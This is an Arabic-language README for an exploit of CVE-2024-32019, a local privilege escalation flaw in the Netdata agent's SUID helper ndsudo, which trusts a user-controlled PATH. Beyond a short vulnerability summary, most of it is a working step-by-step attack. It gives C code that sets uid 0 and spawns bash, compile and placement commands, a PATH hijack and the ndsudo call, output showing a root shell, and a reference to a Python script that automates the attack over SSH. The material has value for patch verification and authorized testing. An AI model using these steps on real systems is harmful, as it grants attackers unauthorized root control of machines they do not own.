
CVE-2024-32019 هو ثغرة أمنية عالية الخطورة لتصعيد الامتيازات المحلية في Netdata (الإصدارات >= 1.44.0-60 < 1.45.3)، ناتجة عن الاستخدام غير الآمن لمتغير PATH في الثنائي ndsudo SUID، مما يسمح للمهاجمين بتنفيذ أوامر عشوائية كجذر.
ndsudo من Netdata (ترقية صلاحيات محلية إلى الجذر)استغلال مبني على بايثون لـ CVE-2024-32019، وهي ثغرة عالية الخطورة من نوع ترقية الصلاحيات المحلية في وكيل Netdata، تستغل ثنائية SUID (ndsudo) ذات إعدادات خاطئة لا تتعامل بأمان مع متغير البيئة PATH.
[!Caution] هذا الكود مخصص لأغراض تعليمية واختبار مصرح به فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو لديك إذن صريح لاختبارها هو غير قانوني.
المعرف: CVE-2024-32019
درجة CVSS: 8.8 (عالية)
تاريخ الإفصاح: 12 أبريل 2024
المكون: Netdata Agent
الإصدارات المتأثرة:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169أداة ndsudo من Netdata هي ثنائية SUID جذرية تهدف لتنفيذ مجموعة محدودة من أوامر النظام (مثل nvme) بأمان نيابة عن المستخدمين غير الجذر.
ومع ذلك، وبسبب خطأ في التنفيذ، فإنها تحترم متغير PATH الذي يتحكم به المستخدم عند حل مسار الأوامر الثنائية. إذا تمكن المهاجم من التلاعب بـ PATH ليشمل دليلاً قابلاً للكتابة يحتوي على ثنائية خبيثة، فسيقوم ndsudo بتنفيذها بصلاحيات الجذر — مما يؤدي إلى ترقية الصلاحيات المحلية.
الخطوات التالية توضح كيفية استغلال الثغرة يدوياً في ndsudo.
احفظ كود C التالي باسم nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
في حالة النجاح، ستحصل على شل جذر.
# whoami
root
إذا كان لديك وصول عبر SSH، يمكنك استخدام CVE-2024-32019-dbs.py لأتمتة ذلك.
